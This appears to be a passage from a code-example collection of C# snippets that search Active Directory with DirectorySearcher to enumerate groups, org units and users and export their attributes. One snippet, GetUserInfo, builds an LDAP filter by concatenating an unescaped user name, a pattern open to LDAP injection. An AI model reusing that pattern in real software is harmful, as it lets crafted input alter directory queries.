                else if (groupScope == "-2147483646" || groupScope == "2")
                    filterString = "(objectClass=group)";

                objecttype = "group";
            }
            else if (filter == ProviderMemberFilter.LocalGroupsOnly)
            {
                filterString = "(|(&(objectClass=group)(grouptype=-2147483640))(&(objectClass=group)(grouptype=8))" +
                               "(&(objectClass=group)(grouptype=-2147483646))(&(objectClass=group)(grouptype=2))" +
                               "(&(objectClass=group)(grouptype=-2147483644))(&(objectClass=group)(grouptype=4)))";

                objecttype = "group";
            }
            else if (filter == ProviderMemberFilter.UserMembersOnly)
            {
                filterString = "(objectClass=user)";//"(&(objectClass=user)(uidNumber=*))";
                objecttype = "user";
            }
            else if (filter == ProviderMemberFilter.AllMembers)
            {
                if (groupScope == null || groupScope == string.Empty)
                {
                    filterString = "(|(objectClass=user)(objectClass=group)(objectClass=computer))";//"(|(&(objectClass=user)(uidNumber=*))(&(objectClass=group)(gidNumber=*)))";
                }
                else
                {
                    if (groupScope == "-2147483644" || groupScope == "4")
                    {
                        filterString = "(|(&(objectClass=group)(grouptype=-2147483644))(&(objectClass=group)(grouptype=4))(objectClass=user))";
                    }
                    else if (groupScope == "-2147483640" || groupScope == "8")
                    {
                        filterString = "(|(&(objectClass=group)(grouptype=-2147483640))(&(objectClass=group)(grouptype=8))" +
                            "(&(objectClass=group)(grouptype=-2147483644))(&(objectClass=group)(grouptype=4))(objectClass=user))";
                    }
                    else if (groupScope == "-2147483646" || groupScope == "2")
                    {
                        filterString = "(|(objectClass=user)(objectClass=group))";
                    }
                    else if (groupScope == "-2147483643")
                    {
                        filterString = "(|(&(objectClass=group)(grouptype=-2147483640))(&(objectClass=group)(grouptype=8))" +
                            "(&(objectClass=group)(grouptype=-2147483646))(&(objectClass=group)(grouptype=2))(objectClass=user))";
                    }
                }
                objecttype = "domainusergroup";
            }
            else if (filter == ProviderMemberFilter.AllUserComputerMembersOnly)
            {
                filterString = "(|(objectClass=user)(objectClass=computer))";
            }

            DirectorySearcher dsT = new DirectorySearcher(deTop, filterString);
            dsT.SearchScope = SearchScope.Subtree;
            dsT.PageSize = SEARCHER_PAGE_SIZE;

            SearchResultCollection src = null;

            try
            {
                src = dsT.FindAll();

                foreach (SearchResult sr in src)
                {
                    if (count == maxResultSetSize)
                        return adUserGroupMap;

                    DirectoryEntry o = new DirectoryEntry(sr.Path);
                    if (filter == ProviderMemberFilter.AllMembers)
                    {
                        if (o != null && (o.SchemaClassName.Equals("user") || (o.SchemaClassName.Equals("group")) || (o.SchemaClassName.Equals("computer"))))
                        {
                            adUserGroupMap.Add(o.Properties["distinguishedName"].Value as string, o);
                            count++;
                        }
                    }
                    else if (filter == ProviderMemberFilter.AllUserComputerMembersOnly)
                    {
                        if (o != null && (o.SchemaClassName.Equals("user") || (o.SchemaClassName.Equals("computer"))))
                        {
                            adUserGroupMap.Add(o.Properties["distinguishedName"].Value as string, o);
                            count++;
                        }
                    }
                    else if (filter == ProviderMemberFilter.AllUserGroupMembersOnly)
                    {
                        if (o != null && (o.SchemaClassName.Equals("user") || (o.SchemaClassName.Equals("group"))))
                        {
                            adUserGroupMap.Add(o.Properties["distinguishedName"].Value as string, o);
                            count++;
                        }
                    }
                    else
                    {
                        if (o != null && o.SchemaClassName.Equals(objecttype))
                        {
                            adUserGroupMap.Add(o.Properties["distinguishedName"].Value as string, o);
                            count++;
                        }
                    }
                }
            }
            catch (Exception aex)
            {
                bw.ReportProgress(percentDone, (Object)aex);
            }
            finally
            {
                src.Dispose();
            }
            return adUserGroupMap;
        }
Ejemplo n.º 45
0
        public List <ADOrgUnit> ReadOrgUnits()
        {
            List <ADOrgUnit> orgUnits = new List <ADOrgUnit>();

            using (DirectoryEntry startingPoint = new DirectoryEntry(Properties.Settings.Default.ADUrl))
            {
                using (DirectorySearcher searcher = new DirectorySearcher(startingPoint))
                {
                    searcher.PageSize = 500;
                    searcher.Filter   = "(objectCategory=organizationalUnit)";
                    searcher.PropertiesToLoad.Add("objectGUID");
                    searcher.PropertiesToLoad.Add("name");
                    searcher.PropertiesToLoad.Add("ou");
                    searcher.PropertiesToLoad.Add(Properties.Settings.Default.OrgUnitNameField);
                    searcher.PropertiesToLoad.Add("distinguishedname");

                    using (var resultSet = searcher.FindAll())
                    {
                        foreach (SearchResult res in resultSet)
                        {
                            Guid   uuid = new Guid((byte[])res.Properties["objectGUID"][0]);
                            string dn   = (string)res.Properties["distinguishedname"][0];
                            string name;
                            if (res.Properties.Contains(Properties.Settings.Default.OrgUnitNameField))
                            {
                                name = (string)res.Properties[Properties.Settings.Default.OrgUnitNameField][0];
                            }
                            else if (res.Properties.Contains("name"))
                            {
                                name = (string)res.Properties["name"][0];
                            }
                            else
                            {
                                name = (string)res.Properties["ou"][0];
                            }

                            var parent = res.GetDirectoryEntry()?.Parent;

                            bool skip = false;
                            foreach (string ouToIgnore in ousToIgnore)
                            {
                                if (ouToIgnore.Trim().Length == 0)
                                {
                                    continue;
                                }

                                if (dn.ToLower().EndsWith(ouToIgnore.ToLower()))
                                {
                                    skip = true;
                                }
                            }

                            if (skip)
                            {
                                continue;
                            }

                            ADOrgUnit ou = new ADOrgUnit();
                            ou.Uuid = uuid.ToString().ToLower();
                            ou.Name = name;
                            ou.Dn   = dn;
                            if (parent?.Guid != null)
                            {
                                ou.ParentUUID = parent.Guid.ToString().ToLower();
                            }

                            orgUnits.Add(ou);
                        }
                    }
                }
            }

            return(orgUnits);
        }
Ejemplo n.º 46
0
        public Hashtable GetUserInfo(string userName, string path)
        {
            DirectorySearcher search = new DirectorySearcher(path);

            SSAErrorLog logObj = new SSAErrorLog();

            logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "get user info 1");

            search.Filter = "(&(objectClass=user)(cn=" + userName + "))";
            logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "get user info 2" + userName);
            // search.Filter = "(&(objectClass=user)(samaccountname=" + userName + "))";

            //search.Filter = "(cn=" + _filterAttribute + ")";
            SearchResultCollection sResults = null;
            string    colStr  = "";
            Hashtable getData = null;

            try
            {
                getData  = new Hashtable();
                sResults = search.FindAll();

                logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "get user info 2" + sResults.Count);

                //loop through results of search
                foreach (SearchResult searchResult in sResults)
                {
                    logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "searching propss...1 ");
                    int         propCount = searchResult.Properties.Count;
                    ICollection coll      = searchResult.Properties.PropertyNames;

                    //ResultPropertyValueCollection valueCollection =
                    //        searchResult.Properties["lastlogontimestamp"];
                    //ResultPropertyValueCollection passwordExpired =
                    //        searchResult.Properties["userAccountControl"];

                    //ResultPropertyValueCollection passwordchanged =
                    //        searchResult.Properties["whenchanged"];

                    //ResultPropertyValueCollection passwordexpires =
                    //        searchResult.Properties["accountexpires"];

                    //ResultPropertyValueCollection whencreated =
                    //        searchResult.Properties["whencreated"];

                    //ResultPropertyValueCollection lockouttime =
                    //        searchResult.Properties["lockouttime"];

                    ResultPropertyValueCollection principalname =
                        searchResult.Properties["name"];
                    //ResultPropertyValueCollection emailid =
                    //        searchResult.Properties["mail"];
                    logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "searching propss...2 ");
                    ResultPropertyValueCollection mobileno =
                        searchResult.Properties["mobile"];

                    logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "searching propss...3 " + "mobileno obj " + mobileno);
                    //int m_Val1 = (int)searchResult.Properties[""]..Properties["userAccountControl"]..Value;

                    //int m_Val1 = Int32.Parse(passwordExpired[0].ToString());
                    //int m_Val2 = (int)0x10000;
                    //bool m_Check = false;
                    //if (Convert.ToBoolean(m_Val1 & m_Val2))
                    //{
                    //    m_Check = true;
                    //} //end
                    //if (m_Check)
                    //    getData.Add("passwordexpired", "Expired");
                    //else
                    //    getData.Add("passwordexpired", "Not Expired");

                    //getData.Add("lastlogontimestamp", DateTime.FromFileTime((long)valueCollection[0]).ToLongDateString());

                    //getData.Add("whencreated", whencreated[0].ToString());
                    //if (lockouttime[0].ToString().Equals("0"))
                    //{
                    //    getData.Add("lockouttime", "Active, Not Locked");
                    //}
                    //else
                    //    getData.Add("lockouttime", "Not Active, Locked");

                    //getData.Add("pwdlastchanged", passwordchanged[0].ToString());

                    getData.Add("principalname", principalname[0].ToString());
                    // getData.Add("emailid", emailid[0].ToString());
                    // logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "mobileno count  ??   " + mobileno.Count);
                    if (mobileno != null)

                    {
                        if (mobileno.Count > 0)
                        {
                            // logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "mobileno count  ??   " + mobileno.Count);

                            //logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "mobileno[0].ToString()  " + mobileno[0].ToString());
                            getData.Add("mobileno", mobileno[0].ToString());
                        }
                    }
                    else
                    {
                        logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "no mobileno  ()  ");
                    }
                }
            }
            catch (Exception ex)
            {
                logObj.ErrorLog(ConfigurationManager.AppSettings["logfilepath"].ToString(), "get user info excep" + ex.Message);
                throw new Exception("Error obtaining group names. " + ex.Message);
            }
            return(getData);
        }
Ejemplo n.º 47
0
    private static SearchResultCollection RetrieveAllNetworkUsersFromLDAP(string sDomainName)
    {
        string sServerName = System.Configuration.ConfigurationManager.AppSettings[sDomainName].ToString();
        string sLDAPPath = "LDAP://" + sServerName + "/DC=" + sDomainName + ",DC=root01,DC=org";

        DirectoryEntry objRootDE = new DirectoryEntry(sLDAPPath, sUID, sPwd, AuthenticationTypes.Secure);
        DirectorySearcher objDS = new DirectorySearcher(objRootDE);

        objDS.Filter = "(|(&(objectClass=User)(givenname=*)(sn=*)))";
        objDS.ReferralChasing = ReferralChasingOption.None;
        objDS.PropertiesToLoad.Add("userAccountControl");
        objDS.PropertiesToLoad.Add("SAMAccountName");

        SearchResultCollection objSRC = null;
        try
        {
            objSRC = objDS.FindAll();
        }
        catch (Exception excpt)
        {
            if (excpt.Message.IndexOf("The server is not operational.") < 0)
                throw;
        }

        objDS.Dispose();
        objRootDE.Close();
        objRootDE.Dispose();
        return objSRC;
    }
Ejemplo n.º 48
0
        static void Main()
        {
            DirectoryEntry         objADAM;           // Binding object.
            DirectoryEntry         objGroupEntry;     // Group Results.
            DirectorySearcher      objSearchADAM;     // Search object.
            SearchResultCollection objSearchResults;  // Results collection.
            string strPath;                           // Binding path.

            // Construct the binding string.
            strPath = "LDAP://localhost:389/OU=TestOU,O=Fabrikam,C=US";
            Console.WriteLine("Bind to: {0}", strPath);
            Console.WriteLine("Enum:    Groups and members.");
            // Get the AD LDS object.
            try
            {
                objADAM = new DirectoryEntry(strPath);
                objADAM.RefreshCache();
            }
            catch (Exception e)
            {
                Console.WriteLine("Error:   Bind failed.");
                Console.WriteLine("         {0}", e.Message);
                return;
            }
            // Get search object, specify filter and scope,
            // perform search.
            try
            {
                objSearchADAM             = new DirectorySearcher(objADAM);
                objSearchADAM.Filter      = "(&(objectClass=group))";
                objSearchADAM.SearchScope = SearchScope.Subtree;
                objSearchResults          = objSearchADAM.FindAll();
            }
            catch (Exception e)
            {
                Console.WriteLine("Error:   Search failed.");
                Console.WriteLine("         {0}", e.Message);
                return;
            }
            // Enumerate groups and members.
            try
            {
                if (objSearchResults.Count != 0)
                {
                    foreach (SearchResult objResult in objSearchResults)
                    {
                        objGroupEntry = objResult.GetDirectoryEntry();
                        Console.WriteLine("Group    {0}",
                                          objGroupEntry.Name);
                        foreach (object objMember
                                 in objGroupEntry.Properties["member"])
                        {
                            Console.WriteLine(" Member: {0}",
                                              objMember.ToString());
                        }
                    }
                }
                else
                {
                    Console.WriteLine("Results: No groups found.");
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("Error:   Enumerate failed.");
                Console.WriteLine("         {0}", e.Message);
                return;
            }
            Console.WriteLine("Success: Enumeration complete.");
            return;
        }
    protected void btnClick_Click(object sender, EventArgs e)
    {
        DirectoryEntry myDirectoryEntry = new DirectoryEntry(String.Format("LDAP://{0}", "Progressive.com"));
                    DirectorySearcher mySearcher = new DirectorySearcher(myDirectoryEntry);

                    mySearcher.Filter = ("(objectCategory=person)");

                    foreach (SearchResult result in mySearcher.FindAll())
                    {

                        try
                        {
                            if (!String.IsNullOrEmpty(result.Properties["Mail"][0].ToString())
                                && System.Text.RegularExpressions.Regex.IsMatch(result.Properties["DisplayName"][0].ToString(), " |admin|test|service|system|[$]", System.Text.RegularExpressions.RegexOptions.IgnoreCase)
                                )
                                {
                                    //int space = resEnt.Properties["DisplayName"][0].ToString().IndexOf(" ");
                                    //string formattedName = String.Format("{0}{1}{2}",
                                    //    resEnt.Properties["DisplayName"][0].ToString().Substring(space).PadRight(25),
                                    //    resEnt.Properties["DisplayName"][0].ToString().Substring(0, space).PadRight(15),
                                    //    resEnt.Properties["Mail"][0].ToString()
                                    //    );
                                    //userList.Add(formattedName);
                                    string SAMAccountName = Convert.ToBoolean(result.Properties["sAMAccountName"].Count > 0) ? result.Properties["sAMAccountName"][0].ToString() : "";
                                    string DisplayName = Convert.ToBoolean(result.Properties["displayName"].Count > 0) ? result.Properties["displayName"][0].ToString() : "";
                                    string mail = Convert.ToBoolean(result.Properties["mail"].Count > 0) ? result.Properties["mail"][0].ToString() : "";
                                    string company = Convert.ToBoolean(result.Properties["company"].Count > 0) ? result.Properties["company"][0].ToString() : "";
                                    string department = Convert.ToBoolean(result.Properties["UserFlags"].Count > 0) ? result.Properties["UserFlags"][0].ToString() : "";
                                    Response.Write(SAMAccountName);
                                    Response.Write("&nbsp;&nbsp;&nbsp;&nbsp;");
                                    Response.Write(DisplayName);
                                    Response.Write("&nbsp;&nbsp;&nbsp;&nbsp;");
                                    Response.Write(mail);
                                    Response.Write("&nbsp;&nbsp;&nbsp;&nbsp;");
                                    Response.Write(company);
                                    Response.Write("&nbsp;&nbsp;&nbsp;&nbsp;");
                                    Response.Write(department);
                                    Response.Write("<br>");
                                }

                        }
                        catch
                        {

                        }

                    }
                    //if (userList.Count > 0)
                    //{

                    //    for (int i = 0; i < userList.Count - 1; i++)
                    //    {
                    //        Response.Write((userList[i].ToString()));
                    //        Response.Write("<br>");

                    //    }

                    //}
    }
Ejemplo n.º 50
-1
    public static void clr_GetADobjects(SqlString ADpath, SqlString ADfilter, out SqlXml MemberList)
    {
        // Filter syntax: https://msdn.microsoft.com/en-us/library/aa746475(v=vs.85).aspx
        // AD attributes: https://msdn.microsoft.com/en-us/library/ms675089(v=vs.85).aspx

        MemberList = new SqlXml();

        //System.IO.StreamWriter file = Util.CreateLogFile();

        SearchResultCollection results = null;
        Int32 itemcount = 0;
        try
        {
            XmlDocument doc = new XmlDocument();
            XmlDeclaration xmlDeclaration = doc.CreateXmlDeclaration("1.0", "UTF-8", null);
            XmlElement root = doc.DocumentElement;
            doc.InsertBefore(xmlDeclaration, root);
            XmlElement body = doc.CreateElement(string.Empty, "body", string.Empty);
            doc.AppendChild(body);

            ADcolsTable TblData = new ADcolsTable((string)ADfilter);
            DataTable tbl = TblData.CreateTable();
            DataRow row;

            // Create key/value collection - key is (user) distinguishedname, value is object GUID.
            Dictionary<string, Guid> UserDStoGUID = new Dictionary<string, Guid>();

            DirectoryEntry entry = new DirectoryEntry((string)ADpath);
            DirectorySearcher searcher = new DirectorySearcher(entry);
            searcher.Filter = (string)ADfilter;
            searcher.PageSize = 500;

            results = searcher.FindAll();
            foreach (SearchResult searchResult in results)
            {
                itemcount++;
                DirectoryEntry item = searchResult.GetDirectoryEntry();
                row = tbl.NewRow();

                UACflags Item_UAC_flags = null;
                Int64 UserPasswordExpiryTimeComputed = 0;
                PropertyValueCollection ADGroupType = null;

                for (int i = 0; i < TblData.collist.Length; i++)
                {
                    TableColDef coldef = TblData.collist[i];
                    switch(coldef.OPtype)
                    {
                        case "Adprop":
                            if (coldef.ADpropName == "useraccountcontrol" && Item_UAC_flags != null)
                            {
                                row[i] = Item_UAC_flags.ADobj_flags;
                                break;
                            }
                            PropertyValueCollection prop = Util.GetADproperty(item, coldef.ADpropName);
                            if (prop != null)
                                row[i] = prop.Value;
                            break;

                        case "UAC":
                            if (Item_UAC_flags == null)
                            {   // Get UAC flags only once per AD object.
                                Item_UAC_flags = new UACflags(Util.Get_userAccountControl(item, out UserPasswordExpiryTimeComputed));
                            }
                            row[i] = Item_UAC_flags.GetFlag(coldef.ADpropName);
                            break;

                        case "ObjClass":
                            row[i] = item.SchemaClassName;
                            break;

                        case "ObjGuid":
                            row[i] = item.Guid;
                            break;

                        case "filetime":
                            Int64 time = 0;
                            if (coldef.ADpropName == "msDS-UserPasswordExpiryTimeComputed")
                                time = UserPasswordExpiryTimeComputed;
                            else
                                time = Util.GetFileTime(searchResult, coldef.ADpropName);
                            if(time > 0 && time != 0x7fffffffffffffff && time != -1)
                            {
                                //row[i] = DateTime.FromFileTimeUtc(time);
                                row[i] = DateTime.FromFileTime(time);       // Convert UTC to local time.
                            }
                            break;

                        case "SID":
                            row[i] = Util.GetSID(item, coldef.ADpropName);
                            break;

                        case "GrpCat":
                            if (ADGroupType == null)
                                ADGroupType = Util.GetADproperty(item, "grouptype");
                            row[i] = Util.GetGroupCategory(ADGroupType);
                            break;

                        case "GrpScope":
                            if (ADGroupType == null)
                                ADGroupType = Util.GetADproperty(item, "grouptype");
                            row[i] = Util.GetGroupScope(ADGroupType);
                            break;
                    }
                }
                tbl.Rows.Add(row);

                if (TblData.IsUser)
                {
                    // Set UserMustChangePasswordAtNextLogon column value (for user objects).
                    bool IsUsrChgPwd = false;
                    if (row.IsNull("PasswordLastSet")
                        && !row.IsNull("PasswordNeverExpires")
                        && !row.IsNull("PasswordNotRequired")
                        && !(bool)row["PasswordNeverExpires"]
                        && !(bool)row["PasswordNotRequired"])
                    {
                        IsUsrChgPwd = true;
                    }
                    row["UserMustChangePasswordAtNextLogon"] = IsUsrChgPwd;

                    // Collect user distinguishedname into dictionary, value is object GUID.
                    // This is needed later to set ManagerGUID column.
                    UserDStoGUID.Add((string)row["distinguishedname"], (Guid)row["ObjectGUID"]);
                }

                // Save group members into the Xml document.
                if (TblData.IsGroup && item.Properties.Contains("member"))
                {
                    PropertyValueCollection coll = Util.GetADproperty(item, "member");
                    string parent = (string)row["distinguishedname"];
                    Util.SaveGroupMembersToXml(doc, body, parent, coll);
                }
            }   // endof: foreach (SearchResult searchResult in results)
            // All rows have been added to the dataset.

            // set ManagerGUID column for user objects.
            if (TblData.IsUser)
            {
                foreach (DataRow rowUsr in tbl.Rows)
                {
                    object manager = rowUsr["Manager"]; // distinguishedname of Manager.
                    if (manager == DBNull.Value)
                        continue;
                    Guid ManagerGUID;
                    if (UserDStoGUID.TryGetValue((string)manager, out ManagerGUID))
                        rowUsr["ManagerGUID"] = ManagerGUID;
                }
            }

            // Return dataset to SQL server.
            ReturnDatasetToSqlServer(tbl);

            using (XmlNodeReader xnr = new XmlNodeReader(doc))
            {
                MemberList = new SqlXml(xnr);
            }
        }
        catch (System.Runtime.InteropServices.COMException)
        {
            SqlContext.Pipe.Send("COMException in clr_GetADobjects. ItemCounter = " + itemcount.ToString());
            throw;
        }
        catch (InvalidOperationException)
        {
            SqlContext.Pipe.Send("InvalidOperationException in clr_GetADobjects. ItemCounter = " + itemcount.ToString());
            throw;
        }
        catch (NotSupportedException)
        {
            SqlContext.Pipe.Send("NotSupportedException in clr_GetADobjects. ItemCounter = " + itemcount.ToString());
            throw;
        }
        catch (Exception)
        {
            SqlContext.Pipe.Send("Exception in clr_GetADobjects. ItemCounter = " + itemcount.ToString());
            throw;
        }
        finally
        {
            if (null != results)
            {
                results.Dispose();  // To prevent memory leaks, always call
                results = null;     // SearchResultCollection.Dispose() manually.
            }
        }
        //file.Close();
    }